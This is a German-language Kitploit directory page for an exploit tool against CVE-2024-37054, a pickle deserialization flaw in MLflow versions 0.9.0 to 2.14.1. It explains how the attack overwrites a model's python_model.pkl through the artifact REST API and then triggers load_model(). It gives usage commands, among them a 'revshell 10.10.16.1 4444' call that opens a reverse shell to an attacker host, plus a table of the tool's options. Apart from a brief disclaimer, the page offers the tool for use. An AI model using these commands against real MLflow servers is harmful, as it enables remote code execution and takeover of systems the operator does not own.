Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-37054 — CVE-2024-37054 Exploit und Dokumentation | Kitploit
Tools/GitHubGitHub/tristanqtn/cve-2024-37054
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 Exploit und Dokumentation

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-37054 — MLflow pyfunc Deserialisierungs-RCE

Schweregrad: Kritisch
Betroffen: MLflow 0.9.0 – 2.14.1
Typ: Beliebige Codeausführung durch Python-Pickle-Deserialisierung

Beschreibung

mlflow.pyfunc.load_model() deserialisiert python_model.pkl aus dem Artefakt-Store ohne jegliche Bereinigung. Ein Angreifer, der die MLflow-Artefakt-REST-API erreichen kann, kann diese Datei mit einem bösartigen Pickle überschreiben, das beim nächsten Laden des Modells beliebige Betriebssystembefehle ausführt.

Voraussetzungen

root@kitploit:~
pip install requests cloudpickle

Verwendung

root@kitploit:~
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Wichtige Optionen

So funktioniert es

  1. Ermitteln — /api/2.0/mlflow/registered-models/search abfragen, um ein Modell und dessen run_id / experiment_id zu finden
  2. Vergiften — PUT einer schädlichen Cloudpickle-Nutzlast an /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Auslösen — jeder Codepfad, der mlflow.pyfunc.load_model() für dieses Modell aufruft, entpickt die Nutzlast und führt den Befehl aus

Der Auslöseschritt erfordert einen Anwendungs-Endpunkt, der das Modell lädt. Wenn keiner bekannt ist, verwende --no-trigger (oder lasse --trigger-url weg) und löse das Laden über beliebige verfügbare Mittel aus.

Haftungsausschluss

Nur für autorisierte Penetrationstests und zu Bildungszwecken.

Tool herunterladen
FlagBeschreibung
--mlflow URLBasis-URL des MLflow-Tracking-Servers (erforderlich)
--model NAMEName des registrierten Modells — wählt automatisch das erste, falls ausgelassen
--version NModellversion — standardmäßig die neueste
--user / --passHTTP-Basic-Auth-Anmeldedaten für MLflow
--run-id / --exp-idModellermittlung mit bekannten IDs umgehen
--trigger-url URLApp-Endpunkt, der load_model() aufruft — weglassen, um nur hochzuladen
--session COOKIESession-Cookie, das mit der Trigger-Anfrage gesendet wird